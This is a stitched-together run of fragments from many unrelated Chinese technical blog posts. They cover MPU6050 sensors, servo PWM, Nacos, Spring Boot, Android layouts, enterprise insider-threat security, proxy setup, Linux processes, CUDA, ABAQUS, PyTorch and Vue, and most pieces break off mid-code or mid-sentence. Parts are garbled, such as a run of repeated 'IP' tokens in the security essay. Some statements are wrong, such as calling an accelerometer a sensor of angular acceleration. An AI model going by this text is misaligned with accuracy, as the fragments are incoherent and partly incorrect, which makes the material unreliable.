\captionsetup[figure][bi-first][⟨options⟩] 更多用法可参照bicaption的官方介绍
参考链接 https://www.codenong.com/cs105132838/
https://blog.csdn.net/qq_30759585/article/details/125263614 (更改图表目录其他信息)
https://blog.csdn.net/hq_cjj/article/details/121829865
前言: 寒假已经过了一半了,前段时间跟学弟一起从零开始搞了一下深度学习,现在才想起来这个系列还没有更完。本篇博客主要介绍一下这个小车转直角弯的神器----MPU6050
MPU6050介绍: 我所采用的MPU6050是某宝上十几块钱的这种,这种MPU6050有个缺点是带有零点漂移,这个接下来我会在博客里给大家提供我的解决方案,优点显而易见是便宜,如果坏了也不心疼,这可比正点原子的便宜多了。 MPU6050内部整合了三轴MEMS陀螺仪、三轴MEMS加速度计以及一个可扩展的数字运动处理器DMP(Digital Motion Processor),而且还可以连接一个第三方数字传感器(如磁力计),这样的话,就可以通过IIC接口输出一个9轴信号(链接第三方数字传感器才可以输出九轴信号,否则只有六轴信号)。当然,上面给大家展示的就是一个6轴的陀螺仪。更加方便的是,有了DMP,可以结合InvenSense公司提供的运动处理资料库,实现姿态解算。通过自带的DMP,可以通过IIC接口输出9轴融合演算的数据,大大降低了运动处理运算对操作系统的负荷,同时也降低了开发难度。其实,简单一句话说,陀螺仪就是测角速度的,加速度传感器就是测角加速度的,二者数据通过算法就可以得到PITCH、YAW、ROLL角了。
MPU6050对陀螺仪和加速度计分别用了三个16位ADC,将其测量的模拟量转化为可输出的数字量。为了精确跟踪快速和慢速的运动,传感器的测量范围都是用户可控的。陀螺仪的可测范围为±250,±500,±1000,±2000°/秒(dps),加速度计可测范围为±2,±4,±8,±16g。
下面是一张关于MPU6050的三个姿态角。而刚才提到的零飘问题其实就是Z轴角度出了问题。
管脚的使用: MPU6050一共有8个引脚,网上不少博主选择使用其中的5个引脚,而我选择了其中的四个引脚,没有使用INT这个引脚。这个引脚是MPU6050的中断引脚,MPU6050会50ms中断一次,我的板子上IO口不是很丰富,就没有用这个引脚。而AD0作为一个地址引脚决定了MPU6050的地址,它接地或者悬空的时候,MPU的地址为0x68,接高电平的时候,MPU的地址为0x69(博主直接悬空了)。而XCL和XDA是用来外接传感器的,这里我没有外接,所以也悬空了。此外,MPU6050的SCL和SDA,我用的是PB8、PB9来软件模拟的IIC,而不是STM32自带的硬件IIC。
MPU6050管脚对应的STM32F103RCT6 IO口SCLPB8SDAPB9VCCVCC(3.3v或5v)GNDGND 代码修改部分: 这里我给大家展示一下对应的.c和.h文件。这里的文件涉及到的比较多,博主在自学的时候学习了很多博主的代码,发现其中缺的东西很多,要不是少sysclock.h要不就是少sys.h,干脆这里我一并给大家放上一个链接,STM32F103C8T6驱动MPU6050并且在OLED屏幕上显示。提取码:2471
这里我要给大家强调一下,如果delay函数不对的话,很可能会导致MPU6050的IIC时序不对而发生错误,所以大家最好是参照一下我的文件。此外要给大家强调的一点是如果大家用的管脚不是PB8 PB9而要修改其他的IO口的话,那么除了这里要修改。
对应的IO操作方向也要注意,这里给大家提个醒,当初我就是没有仔细修改这里,而导致多次初始化失败,具体修改方法可以参考数据手册
移植完成后,我们就可以通过Read_DMP(&Pitch,&Roll,&Yaw);这个函数来读取对应的角度,这个角度是由DMP结算过的,所以可以拿过来就直接用。
是否需要扶正,是否需要开机校准 关于这个问题,我并没有出现过网上说的不扶正就不能开机,博主的小车只是用了MPU6050来准确的转一下90°角,所以也就没有过多关注这一块。是否需要开机校准,我觉得还是需要的,当你转过一个90°弯之后,我们可以通过重新让MPU6050初始化,来把转完弯后的方向设置为0°方向,这样方便下一次转弯,在代码逻辑上会减轻不少工作量。
如果选择开机校准的话,那么我们就要让run_self_test()函数正常运行
static void run_self_test(void) { int result; long gyro[3], accel[3]; result = mpu_run_self_test(gyro, accel); if (result == 0x3) { /* Test passed. We can trust the gyro data here, so let's push it down * to the DMP. */ float sens; unsigned short accel_sens; mpu_get_gyro_sens(&sens); gyro[0] = (long)(gyro[0] * sens); gyro[1] = (long)(gyro[1] * sens); gyro[2] = (long)(gyro[2] * sens); dmp_set_gyro_bias(gyro); mpu_get_accel_sens(&accel_sens); accel[0] *= accel_sens; accel[1] *= accel_sens; accel[2] *= accel_sens; dmp_set_accel_bias(accel); printf("
最终的问题在于VMware-Tools没有自动安装所导致,这里需要自行使用命令行的方式安装
sudo apt-get install open-vm-tools-desktop
文章目录 接线PWM舵机工作原理代码实现结束 接线 注意,图中SG90只是一种型号,还有其他型号,且对应不同的角度,接线和控制方法一致
PWM PWM,英文名Pulse Width Modulation,是脉冲宽度调制缩写,它是通过对一系列脉冲的宽度进行调制,等效出所需要的波形(包含形状以及幅值),对模拟信号电平进行数字编码,也就是说通过调节占空比的变化来调节信号、能量等的变化,占空比就是指在一个周期内,信号处于高电平的时间占据整个信号周期的百分比,例如方波的占空比就是50%.
脉冲宽度调制通过占空比编码模拟信号占空比 一个周期内,高电平占据时长的百分比
舵机工作原理 向黄色信号线“灌入”PWM信号。
PWM波的频率不能太高,大约50HZ,即周期=1/频率=1/50=0.02s,20ms左右
数据:
0.5ms-------------0度; 2.5% 对应函数中占空比为250
1.0ms------------45度; 5.0% 对应函数中占空比为500
1.5ms------------90度; 7.5% 对应函数中占空比为750
2.0ms-----------135度; 10.0% 对应函数中占空比为1000
2.5ms-----------180度; 12.5% 对应函数中占空比为1250
代码实现 #include <reg51.h> sbit servo = P1^1; //舵机信号线 unsigned int count_servo; //舵机0.5ms计数 unsigned int max_angle; //最大角度 void delay(unsigned int ms)//@11.0592MHZ { unsigned int i; unsigned int j; for(i=0;i<ms;i++) for(j=0;j<128;j++); } void init_time0() { TMOD |= 0x01; //使用模式1,16位定时器 TH0 = 0xFE; //给定初值,使定时器0.
【SpringCloud】Nacos注册中心、配置中心用法与原理(下)
上集回顾
二、Nacos 配置中心
1. 统一配置管理
(1)在 Nacos 中添加配置文件
(2)从微服务拉取配置
2. 配置热更新
方式一:使用 @RefreshScope注解
方式二:使用 @ConfigurationProperties注解代替 @Value注解
3. 配置共享
(1)添加一个环境共享配置
(2)在user-service中读取共享配置
(3)运行两个UserApplication,使用不同的profile
(4)配置共享的优先级
4. 搭建Nacos集群
【SpringCloud】Nacos注册中心、配置中心用法与原理(下) 上集回顾 【SpringCloud】Nacos注册中心、配置中心用法与原理(上)_面向架构编程的博客-CSDN博客https://blog.csdn.net/weixin_43715214/article/details/128740974
二、Nacos 配置中心 Nacos除了可以做注册中心,同样可以做配置管理来使用。
1. 统一配置管理 当微服务部署的实例越来越多,达到数十、数百时,逐个修改微服务配置非常的麻烦,而且很容易出错!
所以,我们需要一种统一配置管理方案,可以集中管理所有实例的配置,而且还要实现热更新,即无需重启项目就可以让配置生效!
Nacos 就实现了这个功能!一方面可以将配置集中管理,另一方可以在配置变更时,及时通知微服务,实现配置的热更新。
Nacos 配置中心的图形化界面
(1)在 Nacos 中添加配置文件 然后在弹出的表单中,填写配置信息
Data ID的命名规则一般是:“ 服务名称-项目运行环境(开发).yaml ” 注意:
项目的核心配置,需要热更新的配置才有放到 Nacos 管理的必要。基本不会变更的一些配置还是保存在微服务本地比较好。
(2)从微服务拉取配置 微服务要拉取 nacos 中管理的配置,并且与本地的 application.yml 配置合并,才能完成项目启动。
【问】但如果尚未读取 application.yml,又如何得知 nacos地址呢?
Spring引入了一种新的配置文件:bootstrap.yaml文件,会在 application.yml 之前被读取!
也就是说,我们可以把 nacos的地址、文件相关信息 配置在 bootstrap.yaml 中,那么,我们就可以完成 Nacos配置的读取!!!
目录 一 自定义Starter1 starter依赖介绍与使用原理2 新建maven工程3 引入所需相关依赖4 定义实体类映射配置信息5 定义一个service返回信息6 定义一个被spring管理的自动配置类7 创建spring.factories文件8 maven打包放入本地仓库9 测试 二 常见问题自定义starter无法引入,一直爆红spring boot maven install 生成jar含有BOOT-INF ,导致被其他工程依赖时找不到类 一 自定义Starter 1 starter依赖介绍与使用原理 1.Starter介绍 Starter场景启动器是Spring Boot中一种非常重要的机制,它将繁琐的配置统一集成到stater中,我们只需要通过在Maven将starter的依赖导入项目,SpringBoot 就能自动扫描并加载相应的默认配置。starter的出现简化了开发人员的工作量,从繁琐的框架配置中解救出来,让更多的时间专注在业务逻辑的开发,提高了开发效率。
2.命名规范 SpringBoot 提供的 starter 以 spring-boot-starter-xxx 的形式命名。为了与 SpringBoot 生态提供的 starter 进行区分,官方建议第三方开发者或技术(例如 Druid、Mybatis 等等)厂商自定义的 starter 使用 xxx-spring-boot-starter 的形式命名,例如 mybatis-spring-boot-starter、druid-spring-boot-starter 等等。
3.模块规范 Spring Boot 官方建议我们在自定义 starter 时,创建两个 Module :autoConfigure Module(SpringBoot模块) 和 starter Module(Maven 模块),其中 starter Module 依赖于 autoConfigure Module。当然,这只是 Spring Boot 官方的建议,并不是硬性规定,若不需要自动配置代码和依赖项目分离,我们也可以将它们组合到同一个 Module 里。
背景 初学安卓开发,由于java不熟,AS也配置失败,于是转向了C#老本行😁
其实个人认为C#开发安卓比用java爽嘛……
采用了VS自带的模板"第一视图应用"
计算类采用了System.Data命名空间里的Compute方法,十分方便(但痛点在于得考虑输入的表达式是否合法,否则会出现内存闪退问题 (*  ̄︿ ̄) )
运行截图 废话少说直接上代码
布局:嵌套式页面
先在drawable文件夹里新建2个控件样式文件👇
elliptical_button.xml <?xml version="1.0" encoding="utf-8"?> <shape xmlns:android="http://schemas.android.com/apk/res/android" android:shape="rectangle"> <stroke android:color="#749FF4" android:width="3dip"/> <solid android:color="#0A59F7"/> <size android:width="62dp" android:height="62dp"/> <corners android:topLeftRadius="40dp" android:topRightRadius="40dp" android:bottomRightRadius="40dp" android:bottomLeftRadius="40dp"/> </shape> round_button.xml <?xml version="1.0" encoding="utf-8"?> <shape xmlns:android="http://schemas.android.com/apk/res/android" android:shape="oval"> <stroke android:color="#F8F8F9" android:width="3dip"/> <solid android:color="#FCFCFC"/> <size android:width="62dp" android:height="62dp"/> </shape> 布局 activity_main.xml <?xml version="1.0" encoding="utf-8"?> <androidx.coordinatorlayout.widget.CoordinatorLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent"> <com.google.android.material.appbar.AppBarLayout android:layout_width="match_parent" android:layout_height="wrap_content" android:theme="@style/AppTheme.AppBarOverlay"> <androidx.appcompat.widget.Toolbar android:id="@+id/toolbar" android:layout_width="match_parent" android:layout_height="?attr/actionBarSize" android:background="?attr/colorPrimary" app:popupTheme="
随着网络的发展和普及,信息安全与每个人息息相关,包含方方面。每个人既是独立个体又必须和社会交换资源。这就需要把控一个尺度。
要了解信息安全,首先需要对信息有个大体了解。从拥有者和使用者分类分为,个人,企业(个体工商户,集团,公司),国家(军事,银行),公共服务(医院,税务,公园)等。
信息安全从存储介质上分:移动存储(U盘,光盘,磁盘,硬盘,磁带),移动设备(手机,PDA,mini计算机,pad),计算机(个人计算机,企业个人电脑),内部服务器(fileweb,ftp,直播源),云存储(海康云,阿里云,百度云,金山云等),企业自建云,公司混合云,私有云
互联网应用的飞速发展和普及,网络安全越来越受到各级用户的普遍关注。
在个人买房后很多装修公司给你打电话,贷款公司接踵而来,当你开公司,各种代办公司,地图公司,产品公司就会给你打电话。
这里我们不针对个人信息安全做讨论,也不做国家信息安全讨论。我做企业信息安全讨论。
企业信息安全现在状况 传统企业信息安全主要由规章制度,法律约束,防火墙构成。随着企业信息化越来越多传统的安全架构设计存在巨大的缺陷。
职员离职或者发生矛盾,企业信息泄露不胜枚举,传统安全更多在于信息的保护如果加密磁盘,私有云,excel加密,文档加密,文件夹加密,系统权限,防火墙拦截。都是针对数据安全的管理方向。信息之所以会泄露其根本不在于信息而在于人的行为,因此传统的的安全存在问题。
传统的防火墙,譬如医院,交警,气象局,政务大厅通过边界网关+高强度防火墙(深信服,华为,安全狗,360安全大脑,阿里云御城呵)等,这些防御技术看似无坚不摧但是有个巨大缺陷,在信息外围建立了保护屏障,但是一旦内部有一台中毒,感染那么就会畅通无阻,如同2018年的永恒之蓝勒索病毒,一旦内网中毒,将大面积中招。表面看起来是病毒厉害实际上是安全防护的缺失,当然我没有否定前人的意思,先人们设计的防火墙还是非常好用,发挥着巨大作用,但是随着互联多样化,就显得力不从心。这需要更多正义人士共同抵御新的攻击,保护信息安全。
新信息安全保护分类 信息安全分类:内鬼、强敌,也可以说成:上网行为(人和计算机)+防火墙。
传统防火墙的安全防火相当于强敌攻入城堡,防火墙负责抵御外敌。传统的防火墙设置在网络边界,在内部企业网和外部互联网之间构成一个屏障,进行网络存取控制,所以称为边界防火墙(Perimeter Firewall)。
边界网络最大的缺点就是没有对内鬼做防护。
目前针对内鬼的就是上网行为管理,一般可以限制访问网络,qq,微信,看电影,电影内容。从设定上我们不难看出企业主要担心职员上班在做其他事情。
然而内鬼实际上比强敌更可怕,因为内鬼很容易带走公司资料,也了解公司资料分类,了解公司资料重要级别,一旦自立门户,去对手公司相当可怕。
企业信息安全泄露大多数来自内鬼 统计,80%的攻击和越权访问来自与内部,边界防火墙在对付网络内部威胁时束手无策。因为传统IPIPIPIPSec 、 SSH 、 SSL 等) IP SSL VPN IP。
1.设计公司,职员离职将CAD图带走,使企业无法修改设计图和无法交付。
2.职员离职删库,导致公司业务瘫痪。
3.公司采购与供应商串通,泄露招标信息,泄露竞标价格。
4.销售获取公司产品配方售卖与对手公司
5.U盘复制公司培训资料,外带
6.职员将信息通过邮件发出,上传自己云盘。
7.职员篡改销售数据。
8.IT运维作为数字资源一把手没有监管和监视,审计,导致篡改数据。
9.公司随意带电脑和U盘一台中毒,全公司中招。
企业信息安全防火-内鬼防火制度篇 制度上防止内鬼:有很多公司上班禁止携带个人设备,包含手机,U盘,如果工作中需要用到U盘拷贝资料,会发需要准备资料的名称和文件向主管申请,审批通过后由专人拷贝到U盘,带到客户公司,传输电脑上,再有职员进行操作。
不难看出除非职员有过目不忘,否则很难将资料带走。
传统防火墙缺陷 1.内部安全隐患没有涉及
传统的防火墙只对企业网络的周边提供保护。防火墙会从外部网络进入企业内部局域网的流量进行过滤和审查,但是,他们并不能确保企业内部网络内部用户之间的安全访问。这就好比给一座办公楼的大门安装防盗门,但是办公楼内的每个工作室却四门大开一样,一旦有人通进入办公楼,就可以随意出入办公楼内任何一个房间。要处理这种安全性隐患的最简单办法便是为楼内每个房间都配置防盗锁。边界式防火墙的作用就相当于整个企业网络大门的那把锁,但它并没有为每个客户端配备相应的安全“大锁”,与上述所举只给办公楼大门配锁,而每个房间的大门却敞开所带来的安全性隐患的道理是一样的。
2.效率低故障率高
由于边界式防火墙把检查机制集中在网络边界处的单点上,产成了网络的瓶颈和单点故障隐患。所以墙边界防火墙难以平衡网络效率与安全性设定之间的矛盾,无法为网络中的每台服务器订制规则,它只能使用一个折衷的规则来近似满足所有被保护的服务器的需要,因此或者损失效率,或者损失安全性。
3.安全拦截规则缺陷
传统的的防火墙基本采用一刀切的方式,无法满足现代式的互联网安全,主要原因是防火墙与业务系统孤立,独立运行。
一般服务器上有多个服务,一刀切的边界防火墙模式显得力不从心。
举例说明:
限制访问频率矛盾,
不难看出,针对普通企业复杂的业务防火墙的频率限制无法发挥,这导致DDOS攻击没法一刀切。很多公司采取了多节点模式,即将高频与低频分离。
简单方案:发文章只有内网可以访问,内网不做限制。但是这么一来内网安全就彻底放开了。
如果图片携带病毒就不会检测,一般发布带有病毒的图片那么全网很多地方都会中招。
导致这个问题主要是防火墙业务与业务系统不能形成统一战线。
4.防火墙的出站设计缺陷
一般本地计算机安装软件时候如果有访问网络的需求会直接请求彻底放行,出站采用的方式有:信任程序(所有端口),信任端口(所有程序),信任地址(任何ip,程序)。
看似完美,市面上的大多数的出站软件(上网行为)没有对数据,sql注入,后门传数据进行过滤审查,普通的上网行为也没有拦截日志,这导致我们无法对实际的安全作出准确判断。
譬如职员把公司资料通过邮箱外传,拷贝这种设计公司秘密的操作都没有审计,一旦有内鬼那么就可以肆无忌惮的传输资料。
5.规则创建缺陷
出于安全考虑防火墙没有提供api,socket等方式实现动态规则更新。市面上号称最安全的安全审计网关也无非是通过:防火墙自己学习+人工配置。这看起来很安全,但是随着加密技术成熟,防火墙无法解密传输的数据内容,这也导致无法审计内容,这时候如果业务系统发现需要拦截规则就无法传递给防火墙。
网络信息传播线路 信息传播途径:互联网(DNS服务器,数字证书服务器)→路由器→硬件网关→操作系统网卡(驱动软件)→系统防火墙→web、应用防火墙→应用服务器防护→业务系统应用层防护
从传播路径和途径我们不难看出防火墙只是其中一个环节,要想企业信息安全仅仅只依靠防火墙,和信息审计服务器远远不够。
新企业信息安全设计方向 分布式防火墙
1.Internet访问控制
依据工作站名称、设备指纹等属性,使用“Internet访问规则”,控制该工作站或工作站组在指定的时间段内是否允许/禁止访问模板或网址列表中所规定的Internet Web服务器
2.应用访问控制
前言:之前个人博客中配置的live2d模型的API失效了,所以重新折腾了一下,在自己服务器配置了 live2d 的 API,在此记录一下
JavaWeb项目中添加live2d模型 之前在个人博客中使用的 live2d 模型一直用的是网上一个大佬免费提供的 API ,这段时间发现这个 API 失效了,模型显示不出来,所以想着在自己的服务器上配置好 live2d 看板娘需要的所有文件,实现在项目中只需要引用一个 js 文件就可以在网页上显示看板娘。
前置条件 有云服务器一台,安装了宝塔面板最好有一个域名,用来创建站点 后端API搭建 首先,下载好 Live2D API 的源代码,然后在宝塔面板上创建一个新的站点,并把下载好的源代码放到网站相应目录下,如下图:
在网站根目录下创建一个文件夹 live2d ,里面存放相应文件
最后,在网站的 Nginx 配置文件中允许跨域访问:
server { ... # 允许 所有头部 所有域 所有方法 add_header 'Access-Control-Allow-Origin' '*'; add_header 'Access-Control-Allow-Headers' '*'; add_header 'Access-Control-Allow-Methods' '*'; # OPTIONS 直接返回204 if ($request_method = 'OPTIONS') { return 204; } ... } 如下图:
看板娘前端基本配置 首先,下载前端相应的文件 把萌萌哒的看板娘抱回家 (ノ≧∇≦)ノ | ,然后将文件放在前面创建的 live2d 文件夹中,如下图:
然后,在下载下来的前端文件夹中找到autoload.js这个文件,修改里面的两处地方
前言 之前一直没有介绍什么是选择结构,今天我们就回来了解一下。
选择结构:根据结果判断条件和控制程序。
了解了选择结构后,就可以做题了。
正文 题目描述:判断一个正整数是否是两位数(即大于等于10且小于等于99)。
输入:一个正整数,不超过1000。
输出:一行。若该正整数是两位数,输出1,否则输出0。
样例输入:51
样例输出:1
思路:使用选择结构常用的if语句和else解决。
现在就来看代码吧!
这是大佬H Cisco的代码:
#include<iostream> using namespace std; int main() { int a; cin>>a; if((a>=10)&&(a<=99)) cout<<"1"<<endl; else cout<<"0"<<endl; return 0; } 然后这是本蒟蒻的代码:
#include<iostream> using namespace std; int main() { int n;//设n cin>>n; if(n>=10&&n<=99)//如果在10-99之间 { cout<<1<<endl; } else { cout<<0<<endl; } return 0; } 大佬设输入的数是a,我则是设的n。
下一次,我们将会学习【选择结构】收集瓶盖赢大奖
You seem to have the current working directory in your
LD_LIBRARY_PATH environment variable. This doesn't work.
support/dependencies/dependencies.mk:27: recipe for target 'dependencies' failed
解决方法:
$ LD_LIBRARY_PATH=
$ echo $LD_LIBRARY_PATH
恢复方法:
source /etc/profile
前端艺术之毛玻璃-倾斜-日历 描述项目效果index.htmlindex.css 描述 项目描述开发语言HTML、JavaScript、CSS库dyCalendarJS、vanilla-tiltEdge108.0.1462.54 (正式版本) (64 位) 该项目中需要使用到的库有:
dyCalendarJS
vanilla-tilt.js 是 JavaScript 中的一个平滑的 3D 倾斜库。vanilla-tilt
dyCalendarJS 是一个用于创建日历的 JavaScript 库,您可以在博客和网站中免费使用它。 如果你在观看本篇文章前并没有对这两个库进行了解,欢迎移步至我的另外两篇文章进行学习:
JavaScript 库之 vanilla-tilt(一个平滑的 3D 倾斜库)JavaScript 库之 dyCalendarJS(日历) 项目 该项目文件中我已对代码进行了注释。如遇不懂的地方,请尝试查看相关注释。
效果 index.html <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>毛玻璃-倾斜-日历</title> <!-- 导入自定义 CSS 文件 --> <link rel="stylesheet" href="./index.css"> <!-- 导入 dycalendar.css --> <link rel="stylesheet" href="../dycalendar.min.css"> </head> <body> <div id="calendar" class="dycalendar-container"></div> <!-- 导入 dycalendar.js --> <script src="
搭建代理服务器 搭建代理服务器场景ccproxy进行搭建代理服务器proxifier配置代理服务器总结 搭建代理服务器 有这种情况,在家需要访问某个内网环境,但是内网的ip从外网是访问不到的,这种需要怎么处理呢?
答案是使用代理服务器。
结构如下:
场景 首先描述下我的环境状况,有一个公网ip的A主机(win11),在这台主机上跑了几台虚拟机(假设B,C主机是虚拟机),正常情况下,要从外想访问虚拟机是不行,而在A主机上访问虚拟机的ip是可以的。
这里提供两种访问虚拟机的解决办法,第一种:
使用端口映射的方式。将A主机的一些端口一一映射到虚拟机需要对外提供服务的端口;
如B虚机上运行mysql端口为3306,那么将A主机的某个端口映射到B虚机的3306,如A主机8889端口映射到B主机3306,此时访问A主机的ip:8889就会访问到B虚机端口3306的mysql服务。(比较简单的是使用nginx进行反向代理)
第二种:
使用代理服务器的方式。因为我A主机是win11,所有这里找到了ccproxy客户端进行开放socks5协议1080端口。然后在需要访问内网地址的电脑上运行proxifier代理客户端,进行代理。
ccproxy进行搭建代理服务器 代理服务器搭建步骤:
下载ccproxy在CCProxy主界面上,单击设置->高级->网络,在弹出的高级对话框中取消选中“禁止局域网外部用户”,再一直单击“确定”按钮。在CCProxy主界面上,单击账号进行添加账号。 允许范围选允许部分点击新建设置账号秘密保存-确定 可以点击设置进行修改默认端口。
proxifier配置代理服务器 我使用的mac版本proxifier就不提供下载方式,可以自行搜索下安装包。
配置代理服务器步骤:
创建一个自己的配置文件,这里新建一个Demo展示; 先点击New profile然后点击Save Profile 保存为自定义名称的配置 配置代理服务器信息 点击proxies->add->然后设置前面搭建好的代理服务器ip(注意是公网ip)以及1080端口(默认1080)选择Socks5协议输入代理服务器添加的账号密码 配置代理规则 点击Rules修改Action;1)将Default的Action修改为Direct,意思为直接访问不需要代理;2)修改第一行的Action为Proxy SOCKS5选中第一行的规则,点击下面Edit,设置Target Hosts,这里我的内网环境只有192.168.1.*的网段,若有多个不同网段使用;进行分割;最终点击保存 保存以后结果:
尝试访问内网地址服务:
代理服务器从搭建到使用就配置好了。
总结 第一种端口映射方式,适合永久性的。例如长时间对外提供服务。第二种代理的方式,适合临时的。临时需要连接下内网的一些服务。
文章目录 一. 什么是进程?二. 进程后台运行 在了解三种进程后台运行的方式前,小编觉得有必要先简单讲解一下什么是进程。
PS: 本篇博客技术参考价值不大,只是类似随笔比较水,详细的知识点可以关注一下nohup命令的使用。
一. 什么是进程? 什么是进程?进程就是运行的程序。
例如我们在Windows系统中双击一个图标运行一个软件,其实这就是启动了若干了进程,只不过在Linux中是通过命令来操作程序的运行。
因此我们也可以对程序进行操作,列如运行程序,终止程序,查看程序的运行状态等。
那么我们如何产生1个进程呢?我们通常使用命令,命令对应程序,程序执行后就会产生相应的进程。
我们也可以把进程分为前台运行的进程和后台运行的进程,列如在Linux中:
这些都是在前台中运行的进程,会在终端中占用终端的输入或者产生信息。
ls pwd sleep 1000 我们可以在命令后面添加一个&符号让进程在后台执行列如:
sleep 1000 & 这样运行的命令是不会占用终端或者在终端中输出信息的,也就是后台运行一个进程,对于每一个进程都有一个固定的pid,那么如何查看进程的pid呢?
这就涉及到了进程信息的查看,我们就需要借助 ps 命令,列如:
# 利用运行进程使用的命令中的关键字查询出进程的 pid ps -ef | grep <keyword> # 查看当前用户运行的全部进程 ps -ux 查询出来的信息一般第二列就是进程的pid了
我们也可以通过命令将对应pid的进程杀死:
// 使用 kill 命令来杀死进程 kill -9 <pid> kill -15 <pid> 9 和 15 这两个数字的含义可以在终端输入 htop,然后按 F9 查看,每个数字对应了一种发送给进程的信号。
15 对应的是 SIGTERM,通知进程结束,不加参数时,如:kill pid 默认使用该信号终止进程。
9 对应的是 SIGKILL,强制终止进程。
所以我们也可以在 htop 界面中发送相应的信号来结束进程。
作者 | kaiyuan 编辑 | 汽车人
原文链接:https://zhuanlan.zhihu.com/p/584501634
点击下方卡片,关注“自动驾驶之心”公众号
ADAS巨卷干货,即可获取
点击进入→自动驾驶之心【模型部署】技术交流群
后台回复【CUDA】获取CUDA实战书籍!
不管你是在学习CUDA,还是在优化算子,掌握一些CUDA编程技巧,能够提升你的工作效率,甚至找到更优解。本文主要是介绍一些常用的技巧/方法,并配上实践code,希望对读者有所帮助。
常用‘print’辅助理解
使用统一内存降低编写难度
性能提升找准瓶颈点
减少数据的拷贝/换页
提升存算重叠度
多用官方标准库
清楚硬件上面的特殊单元 全文涉及示例代码(欢迎star,后续不断更新):
CUDA编程常用方法示例:https://github.com/CalvinXKY/BasicCUDA/tree/master/common_methods
1 常用‘printf’辅助理解 print函数不仅仅是编程中利器,在CUDA编程中我们同样需要常用print来获得过程信息。尤其是在很多debug场景下,我们需要进行数据索引和线程(thread)索引的计算校对,单纯读代码不一定能发现问题,这个时候不妨将这些数据全部打印出来。比如在"CUDA GUIDE" 第一章里面解释了grid、block、thread含义,初次接触只能有个大概的印象,但对于一些关联问题,不一定能够理解到位,比如:
线程数量相同情况下kernel<<<N, 1>>> 和kernel<<<1, N>>> 的配置有什么区别?
kernel里面定义的threadIdx 、blockIdx、blockDim、gridDim如何与线程对应?
一维线程与二维线程的坐标如何计算,以及计算是否正确?
针对问题1,2,我们可以直接在kernel里面加打印,如下:
__global__ void kernel(int mark) { if (blockIdx.x == 0 && threadIdx.x == 0) printf("=== kernel %d run info: gridDim.x: %d, blockDim.x: %d ===\n", \ mark, gridDim.x, blockDim.x); __syncthreads(); printf("blockIdx.x: %d threadIdx.x: %d\n", blockIdx.x, threadIdx.x); } <示例代码:print_any.
我的主页:
技术邻:小铭的ABAQUS学习的技术邻主页博客园 : HF_SO4的主页哔哩哔哩:小铭的ABAQUS学习的个人空间csdn:qgm1702 博客园文章链接:
【ABAQUS 二次开发笔记】使用keyword 、python和matlab一起处理Odb数据 - hayden_william - 博客园 用conversion shell element (S4R单元)建模层合板,有6层ply,每个lamina(ply)有3个 integration point,共计18个integration point。我想得到集合SET-Middle-elem中所有integration point的E S TSHR13 TSHR23的output。
提取出结果后,我还需要根据剪切模量计算出13 23方向的shear strain。得到10个vars的output后,利用他们计算出整个laminate的弹性应变能(将每个单元的每个ply的弹性应变能U计算出来进行累加).计算很麻烦。
方法一:python访问odb文件 通过python 脚本访问odb文件,然后多个循环进行嵌套提取出output结果。这个办法可行,能够一下子访问到每个element的每个point.
import odbA ccessE=session.odbs['30d-50hz.odb'].steps["Step-1"].frames[10].fieldOutputs['E'].values[10] print(E) 执行上述代码:
>>> import odbAccess >>> E=session.odbs['30d-50hz.odb'].steps["Step-1"].frames[10].fieldOutputs['E'] >>>>E.values[10] session.openOdb(r'G:/SIMULIA/workspace/Tanslate_repetition/DMAsimulia/30d-50hz.odb').steps['Step-1'].frames[10].fieldOutputs['E'].values[10] >>>> print(E.values[10]) ({ 'baseElementType': 'S4R', 'conjugateData': None, 'conjugateDataDouble': 'unknown', 'data': array([0.0, -0.0, 0.0, 0.0], 'f'), 'dataDouble': 'unknown', 'elementLabel': 11, 'face': None, 'instance': 'OdbInstance object', 'integrationPoint': 1, 'inv3': 0.0, 'localCoordSystem': ((0.
从参数定义,到网络模型定义,再到训练步骤,验证步骤,测试步骤,总结了一套较为直观的模板。目录如下:
目录
一、导入包以及设置随机种子
二、以类的方式定义超参数
三、定义自己的模型
四、定义早停类(此步骤可以省略)
五、定义自己的数据集Dataset,DataLoader
六、实例化模型,设置loss,优化器等
七、开始训练以及调整lr
八、绘图
九、预测
十、运行实例参考(结合上述模型理解)
一、导入包以及设置随机种子 import numpy as np import torch import torch.nn as nn import numpy as np import pandas as pd from torch.utils.data import DataLoader, Dataset from sklearn.model_selection import train_test_split import matplotlib.pyplot as plt import random seed = 42 torch.manual_seed(seed) np.random.seed(seed) random.seed(seed) 注:random.seed不懂的同学可看看我这篇文章:random.seed()的用法_云隐雾匿的博客-CSDN博客
二、以类的方式定义超参数 class argparse(): pass args = argparse() args.epochs, args.learning_rate, args.patience = [30, 0.001, 4] args.hidden_size, args.input_size= [40, 30] args.
安装eNSP所需的软件
WinPcap
Wireshark
VirtualBox
eNSP(安装eNSP必须先安装WinPcap、Wireshark、VirtualBox软件)
USG6000V(防火墙镜像文件)
备注:
如下所示链接,本人正在用。
版本低,需要的人自行下载;不需要的人,拐弯绕行。谢谢配合!
链接: https://pan.baidu.com/s/1SzjwWWOfOK6mGqJSR-9gMQ 提取码: 6996 复制这段内容后打开百度网盘手机App,操作更方便哦
场景重现 今天写代码的时候出现一个问题,想把checkbox的状态值通过@change事件传递,但是输出的是相反的结果
后来修改了一下代码,加入了$nextTick之后,便能够返回正常的值了
为什么需要$nextTick? 在数据变化后要执行某个回调函数,而这个操作需要使用随数据改变而改变的DOM结构的时候, 这个操作都应该放进Vue.nextTick () 回调函数中。当数据更新了,在dom中渲染后,会⾃动执⾏该函数。
vue的视图更新机制 Vue 在更新 DOM 时是异步执行的。当数据发生变化,Vue将开启一个异步更新队列,视图需要等队列中所有数据变化完成之后,再统一进行更新。
什么时候需要$nextTick? Vue在更新data之后并不会立即更新DOM上的数据,就是说如果我们修改了data中的数据,再马上获取DOM上的值,我们取得的是旧值,我们把获取DOM上值的操作放进$nextTick里,就可以得到更新后得数据。
作者:扶得一人醉如苏沐晨
链接:https://www.jianshu.com/p/8efa5cba7d07
作为小白,对于前端的很多认识还比较浅,这次通过这个问题初步了解了vue的MVVM视图和$nextTick函数,浅浅在这里记录一下
目录
>自动内存管理
>>自动内存管理-相关概念
